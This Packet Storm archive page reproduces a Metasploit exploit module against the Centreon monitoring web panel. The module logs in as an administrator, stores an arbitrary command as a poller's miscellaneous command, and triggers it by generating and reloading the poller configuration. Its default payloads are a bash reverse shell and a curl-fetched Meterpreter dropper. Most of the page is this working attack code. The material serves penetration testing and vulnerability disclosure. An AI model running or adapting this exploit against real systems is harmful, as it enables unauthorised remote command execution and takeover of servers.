exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Centreon Poller Authenticated Remote Command Execution

Centreon Poller Authenticated Remote Command Execution
Posted Mar 18, 2020
Authored by mekhalleh, Fabien Aunay, Omri Baso | Site metasploit.com

This Metasploit module exploits a flaw where an authenticated user with sufficient administrative rights to manage pollers can use this functionality to execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules (to perform certain actions), by the scheduler for data processing, etc. This module uses this functionality to obtain a remote shell on the target.

tags | exploit, remote, arbitrary, shell
SHA-256 | 4fc454b9a7db2a27a465a12d5f364a39e3ac7dba6dcd7fc3801635b21c08d5b6

Centreon Poller Authenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
'Description' => %q{
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
(to perform certain actions), by the scheduler for data processing, etc.

This module uses this functionality to obtain a remote shell on the target.
},
'Author' => [
'Omri Baso', # discovery
'Fabien Aunay', # discovery
'mekhalleh (RAMELLA Sébastien)' # this module
],
'References' => [
['EDB', '47977']
],
'DisclosureDate' => '2020-01-27',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Reverse shell (In-Memory)',
'Platform' => 'unix',
'Type' => :cmd_unix,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
],
['Meterpreter (Dropper)',
'Platform' => 'linux',
'Type' => :meterpreter,
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
])
end

def create_new_poller(poller_name, command_id)
params = {'p' => '60901'}

print_status("Create new poller entry on the target.")
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
return false unless token

response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'partial' => true,
'vars_get' => params,
'vars_post' => {
'name' => poller_name,
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => '1',
'is_default[is_default]' => '0',
'remote_id' => '',
'ssh_port' => '22',
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => 'service cbd reload',
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => '/var/log/centreon-broker',
'centreonconnector_path' => '',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'pollercmd[0]' => command_id,
'clone_order_pollercmd_0' => '',
'ns_activate[ns_activate]' => '1',
'submitA' => 'Save',
'id' => '',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response

return true
end

def execute_command(command, opts = {})
cmd_name = rand_text_alpha(8..42)
params = {'p' => '60803', 'type' => '3'}
poller_name = rand_text_alpha(8..42)

## Register a miscellaneous command.
print_status("Upload command payload on the target.")

token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
unless token
print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
return false
end

response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'partial' => true,
'vars_get' => params,
'vars_post' => {
'command_name' => cmd_name,
'command_type[command_type]' => '3',
'command_line' => command,
'resource' => '$CENTREONPLUGINS$',
'plugins' => '/Centreon/SNMP',
'macros' => '$ADMINEMAIL$',
'command_example' => '',
'listOfArg' => '',
'listOfMacros' => '',
'connectors' => '',
'graph_id' => '',
'command_activate[command_activate]' => '1',
'command_comment' => '',
'submitA' => 'Save',
'command_id' => '',
'type' => '3',
'o' => 'a',
'centreon_token' => token
}
)
return false unless response

## Create new poller to serve the payload.
create_new_poller(poller_name, get_command_id(cmd_name))

## Export configuration to reload to trigger the exploit.
poller_id = get_poller_id(poller_name)
if poller_id.nil?
print_bad('Could not trigger the vulnerability!')
end
restart_exportation(poller_id)
end

def get_auth
print_status("Sending authentication request.")
token = get_token(normalize_uri(target_uri.path, 'index.php'))
unless token.nil?
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookies,
'vars_post' => {
'useralias' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submitLogin' => 'Connect',
'centreon_token' => token
}
)
return false unless response

if response.redirect?
if response.headers['location'].include?('main.php')
print_good('Successfully authenticated.')
@cookies = response.get_cookies
return true
end
end
end

print_bad('Your credentials are incorrect.')
return false
end

def get_command_id(cmd_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'vars_get' => {
'p' => '60803',
'type' => '3'
}
)
return nil unless response

href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
return nil unless href

id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?

return nil
end

def get_poller_id(poller_name)
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'cookie' => @cookies,
'vars_get' => {'p' => '60901'}
)
return nil unless response

href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
return nil unless href

id = href.split('?')[1].split('&')[2].split('=')[1]
return id unless id.empty?

return nil
end

def get_session
response = send_request_cgi(
'method' => 'HEAD',
'uri' => normalize_uri(target_uri.path, 'index.php')
)
cookies = response.get_cookies
return cookies unless cookies.empty?
end

def get_token(uri, params = {})
## Get centreon_token value.
request = {
'method' => 'GET',
'uri' => uri,
'cookie' => @cookies
}
request = request.merge({'vars_get' => params}) unless params.empty?
response = send_request_cgi(request)

return nil unless response

begin
token = response.get_html_document.at('input[@name="centreon_token"]')['value']
rescue NoMethodError
return nil
end

return token
end

def restart_exportation(poller_id)
print_status("Reload the poller to trigger exploitation.")
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})

unless token
print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
return false
end

vprint_status(' -- Generating files.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'debug' => 'true',
'generate' => 'true'
}
)
return false unless response

vprint_status(' -- Restarting engine.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'cookie' => @cookies,
'vars_post' => {
'poller' => poller_id,
'mode' => '2'
}
)
return false unless response

vprint_status(' -- Executing command.')
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
'cookie' => @cookies,
'vars_post' => {'poller' => poller_id}
)
return false unless response

return true
end

def exploit
@cookies = get_session
logged = get_auth unless @cookies.empty?
if logged
case target['Type']
when :cmd_unix
execute_command(payload.encoded)
when :meterpreter
execute_command(generate_cmdstager.join(';'))
end
end
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close